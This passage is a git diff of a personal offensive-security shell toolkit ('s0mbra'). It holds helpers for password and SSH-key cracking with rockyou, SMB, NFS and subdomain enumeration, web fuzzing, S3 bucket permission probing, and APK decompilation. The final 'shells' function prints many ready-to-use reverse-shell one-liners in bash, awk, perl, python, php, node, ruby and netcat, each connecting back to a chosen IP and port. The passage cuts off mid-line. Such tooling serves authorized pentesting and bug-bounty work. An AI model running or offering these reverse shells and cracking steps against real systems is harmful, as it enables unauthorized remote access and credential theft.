--wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." + osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' +} + +# show JohnTheRipper's pot file +john_pot() { + echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" + cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { - echo -e "$BLUE[+] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt - echo -e "$BLUE[+] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt + echo -e "\n$BLUE[s0mbra] Done." } -# converts id_rsa to JTR format for cracking SSH key +# converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash - echo -e "$BLUE[+] We have a hash.\n" - echo -e "$BLUE[+] Let's now crack it!" + echo -e "$BLUE[s0mbra] We have a hash.\n" + echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash + echo -e "\n$BLUE[s0mbra] Done." } -# static code analysis of npm module installed in ~/node_modules -# with nodestructor and semgrep -npm_scan() { - echo -e "$BLUE[+] Starting static code analysis of $1 module with nodestructor and semgrep...$CLR" - nodestructor -r ~/node_modules/"$1" --verbose --skip-test-files - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/*.js - exitcode=$(ls "$HOME"/node_modules/"$1"/*/ >/dev/null 2>&1) - if [ "$exitcode" == 0 ]; then - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/**/*.js - fi - echo -e "\n\n[+]Done." -} - - -# static code analysis of single JavaScript code -javascript_sca() { - echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" - nodestructor --include-browser-patterns --include-urls "$1" - echo -e "\n\n[+]Done." -} - -# exposes folder with Linux PrivEsc tools on localhost:9119 -privesc_tools_linux() { - cd "$HACKING_HOME"/tools/Linux-tools || exit - echo -e "$BLUE[+] Available tools:$CLR" - tree -L 2 . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 +# runs unminify on $1 JavaScript file +unmin() { + FILENAME=$1 + echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" + unminify $FILENAME > unmimified.$FILENAME + echo -e "\n$BLUE[s0mbra] Done." } - -# exposes folder with Windows PrivEsc tools on localhost:9119 -privesc_tools_windows() { - cd "$HACKING_HOME"/tools/Windows || exit - echo -e "$BLUE[+] Available tools:$CLR" - ls -lR . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +snyktest() { + echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" + echo -e "$BLUE[s0mbra] Running npm audit$CLR" + npm audit . + echo -e "$BLUE[s0mbra] Running snyk test$CLR" + snyk test + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -182,79 +147,271 @@ smb_enum() { password="$3" fi - echo -e "$BLUE[+] Enumerating SMB shares with nmap on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating SMB shares with nmap on $1...$CLR" nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" - echo -e "$YELLOW\n[+] smbmap -u $username -p $password against\t\t -> $1...$CLR" + echo -e "$YELLOW\n[s0mbra] smbmap -u $username -p $password against\t\t -> $1...$CLR" smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks for d in $(grep 'READ' __disks | cut -d' ' -f 1); do - echo -e "$YELLOW\n[+] content of $d directory saved to $1__shares_listings $CLR" + echo -e "$YELLOW\n[s0mbra] content of $d directory saved to $1__shares_listings $CLR" smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "\n[+] Done." + echo -e "\n$BLUE[s0mbra] Done." } # download file from SMB share smb_get_file() { - if [[ -z $2 ]]; then + if [[ -z $3 ]]; then username='NULL' - elif [[ -n $2 ]]; then - username="$2" + elif [[ -n $3 ]]; then + username="$3" fi - if [[ -z $3 ]]; then + if [[ -z $4 ]]; then password='' - elif [[ -n $3 ]]; then - password="$3" + elif [[ -n $4 ]]; then + password="$4" fi - echo -e "$BLUE[+] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $2 from $1...$CLR" echo -e "$GREEN" - smbmap -H "$1" -u "$2" -p "$3" --download "$4" + smbmap -H "$1" -u "$3" -p "$4" --download "$2" echo -e "$CLR" - echo -e "\n[+] Done." + echo -e "\n$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares smb_mount() { - echo -e "$BLUE[+] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" mkdir -p mnt/shares echo "//$3@$1/$2" mount_smbfs "//$3@$1/$2" ./mnt/shares - echo -e "$YELLOW\n[+] Locally available shares:\n.$CLR" + echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "\n[+] Done." + echo -e "\n$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it smb_umount() { - echo -e "$BLUE[+] Unmounting SMB share(s) from ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "\n[+] Done." + echo -e "\n$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: nfs_enum() { - echo -e "$BLUE[+] Enumerating nfs shares (TCP 2049) on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "\n[+] Done." + echo -e "\n$BLUE[s0mbra] Done." } +# quick scope, but for single domain - no need to create scope file +enum() { + TMPDIR=$(pwd)/$1 + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi + START_TIME=$(date) + DOMAIN=$1 + echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" + + amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/enum_subfinder.log + + # prepare list of uniqe subdomains + cat $TMPDIR/enum* > $TMPDIR/step1 + sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log + rm -f $TMPDIR/step* + + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/enum_amass.log + rm -f $TMPDIR/enum_subfinder.log + rm -f $TMPDIR/amass.tmp + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + + echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' +} -# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available -# we can enumerate nfs shares available: -subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file..." - enumeratescope $1 $2 - echo -e "\n[+] Done." +# does recon on URL: nmap, ffuf, other smaller tools, ...? +# pass ONLY hostname (without protocol prefix) +recon() { + HOSTNAME=$1 + + # set proto: + if [[ -z $2 ]]; then + # default options: + NMAP="1" + NIKTO="1" + FFUF="1" + SUBDOMANIZER="1" + SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" + else + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + SELECTED_OPTIONS=$2 + fi + + # set proto: + if [[ -z $3 ]]; then + PROTO='https' + else + PROTO=$3 + fi + + # setup output directory + rm -rf $(pwd)/s0mbra + mkdir -vp $(pwd)/s0mbra + TMPDIR=$(pwd)/s0mbra + + START_TIME=$(date) + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $SELECTED_OPTIONS...$CLR" + + # onaws + echo -e "\n$GREEN--> onaws? $CLR\n" + onaws $HOSTNAME + + # nmap + if [[ $NMAP -eq "1" ]]; then + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.log $HOSTNAME + fi + + # nikto + if [[ $NIKTO -eq "1" ]]; then + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + fi + + if [[ $VHOSTS -eq "1" ]]; then + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://FUZZ.$HOSTNAME -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log + fi + + # ffuf + if [[ $FFUF -eq "1" ]]; then + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_lowercase_$HOSTNAME.log + fi + + # subdomanizer + if [[ $SUBDOMANIZER -eq "1" ]]; then + echo -e "\n$GREEN--> SubDomanizer$CLR\n" + subdomanizer --url $PROTO://$HOSTNAME/ + fi + + END_TIME=$(date) + echo -e "\n$GREEN[s0mbra] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + + echo -e "\n$BLUE[s0mbra] Done.$CLR" } +fu() { + # use starter.txt as default dictionary + if [[ -z $2 ]]; then + SELECTED_DICT=starter + else + SELECTED_DICT=$2 + fi + + # set response status code(s) to match on: + if [[ -z $4 ]]; then + HTTP_RESP_CODES=200,206,301,302,401,500 + else + HTTP_RESP_CODES=$4 + fi + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $SELECTED_DICT.txt dictionary matching $HTTP_RESP_CODES...$CLR" + + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + if [[ $3 == "-" ]]; then + # if $3 equals - (dash) that means we should ignore it at all + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "ffuf finished, choom!" with title "s0mbra says:"' +} + +api_fuzz() { + clear + echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" + + for endpoint in $(cat $2); do + https --print=HBh --all --follow POST https://$1/$endpoint payload=data + https --print=HBh --all --follow PUT https://$1/$endpoint payload=data + done + + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +kiterunner() { + HOSTNAME=$1 + echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" + + kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + +# Python Static Source Code analysis +pysast() { + DIR_NAME=$1 + echo -e "$BLUE[s0mbra] Running pyflakes against $DIR_NAME $CLR\n" + python3 -m pyflakes $DIR_NAME + + echo -e "$BLUE[s0mbra] Running mypy against $DIR_NAME $CLR\n" + python3 -m mypy $DIR_NAME + + echo -e "\n$BLUE[s0mbra] Running bandit against $DIR_NAME $CLR\n" + python3 -m bandit -r $DIR_NAME + + echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" + python3 -m vulture $DIR_NAME + + # cleanup + rm -rf .mypy_cache + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} # checking AWS S3 bucket s3() { - echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" + echo -e "$BLUE[s0mbra] Checking AWS S3 $1 bucket$CLR" aws s3 ls "s3://$1" --no-sign-request 2> /dev/null if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" @@ -301,12 +458,13 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "\n[+] Done." + echo -e "\n$BLUE[s0mbra] Done." } -s3go() { +# downloads file from S3 directory +s3get() { clear - echo -e "$BLUE[+] Getting $2 from $1 bucket...$CLR" + echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null if [[ "$?" == 0 ]]; then @@ -321,136 +479,237 @@ s3go() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- can't get $2 :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# uploads file to S3 directory +s3gput() { + clear + echo -e "$BLUE[s0mbra] Uploading $2 to $1...$CLR" + + # aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ We can read ACL of $3$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't check $2 ACL... :/$CLR" + # fi + + # aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't get $2 :/$CLR" + # fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# Lists content of the folder on S3 bucket +s3ls() { + clear + echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" + aws s3 ls "s3://$1/$2/" 2> /dev/null + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# Lists content of the folder on S3 bucket +discloS3() { + clear + echo -e "$BLUE[s0mbra] Execute bucket-disclose.sh against $1...$CLR" + bucket-disclose $1 DEBUG + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# coverts .dex file to .jar archive dex_to_jar() { clear - echo -e "$BLUE[+] Exporting $1 into .jar...$CLR" - d2j-dex2jar --force $1 + echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" + d2j-dex2jar --force $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# unpack .jar archive +unjar() { + clear + echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx-1.5.1/bin/jadx-gui $1 } -decompile_jar() { +# runs disassembly agains binary +disass() { clear - echo -e "$BLUE[+] Opening $1 in JD-Gui...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 + echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." + objdump -d --arch-name=x86-64 -M intel $1 > 1.asm + echo -e "\n$BLUE[s0mbra] Done." } +# runs Java decompiler jadx jadx() { clear - echo -e "$BLUE[+] Opening $1 in JADX...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +# executes grpahw00f graphql-cop against GraphQL endpoint +gql() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting GraphQl endpoints on $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# executes graphw00f fingerprint against GraphQL endpoint +graphw00f() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting $1 GraphQL endpoint with graphw00f...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# runs Ruby SAST tools against Ruby application +ruby_sast() { + clear + echo -e "$BLUE[s0mbra] Running brakeman against $1...$CYAN" + brakeman $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# does stuff with Android APK file apk() { clear - echo -e "$BLUE[+] OK, let's see this APK...$CLR" - unzip $1 + echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" + unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" apktool d $1 elif [[ "$?" != 0 ]]; then echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# xreate Android Studio project from Android apk file +apk_to_studio() { + clear + echo -e "$BLUE[s0mbra] Creating Android Studio project from APK file...$YELLOW" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx --deobf -e -d out "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# extracts Androind .ab archive abe() { clear - echo -e "$BLUE[+] Extracting $1.ab backup into $1.tar...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar + echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1 $1.tar if [[ "$?" == 0 ]]; then - echo -e "\n$GREEN[+] Success! $1.ab unpacked and $1.tar was created..." - echo -e "[+] Let's untar some files, shall we?$CLR" + echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[s0mbra] Let's untar some files, shall we?$CLR" rm -rf $1_extracted && mkdir ./$1_extracted tar -xf $1.tar -C $1_extracted - echo -e "\n$GREEN[+] tar extracted, folder(s) created:$CLR" + echo -e "\n$GREEN[s0mbra] tar extracted, folder(s) created:$CLR" ls -l $1_extracted elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fu() { - clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200 and 500...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,500 -} - -generate_shells() { +# generates reverse shells in various languages for given IP:PORT +shells() { clear port=$2 - echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - - echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m exec 5<>/dev/tcp/$1/$port | cat <&5 | while read line; do $line 2>&5 >&5; done" - echo -e "$NEWLINE" - echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "$NEWLINE" - echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "$NEWLINE" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "$NEWLINE" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "$NEWLINE" - echo -e "\033[46m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$NEWLINE" -} - -php7() { - echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" - brew unlink php@8.0 && brew link --force php@7.4 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php7 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" + echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" + + echo -e "$YELLOW[bash]\033[0m\t\tbash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m\t\t0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m\t\trm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\trm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" + echo + echo -e "\033[1;31m[gawk]\033[0m\t\tgawk 'BEGIN {P=$port;S=\"cmd> \";H=\"$1\";V=\"/inet/tcp/0/\"H\"/\"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print \$0|&V;close(c)}}while(c!=\"exit\")close(V)}}'" + echo -e "\033[1;31m[awk]\033[0m\t\tawk 'BEGIN {s = \"/inet/tcp/0/$1/$port\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" + echo + echo -e "\033[1;34m[perl]\033[0m\t\tperl -e 'use Socket;\$i=\"$1\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo + echo -e "\033[1;36m[python]\033[0m\tpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('bash -i >& /dev/tcp/$1/$port 0>&1');\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('nc -e /bin/sh $1 $port')\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/$1/$port 0>&1'\")\"" + echo + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo + echo -e "\033[36m[nc]\033[0m\t\tnc -e /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\tnc -c /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\t/bin/sh | nc $1 $port" + echo -e "\033[36m[nc]\033[0m\t\trm -f /tmp/p; mknod /tmp/p p && nc 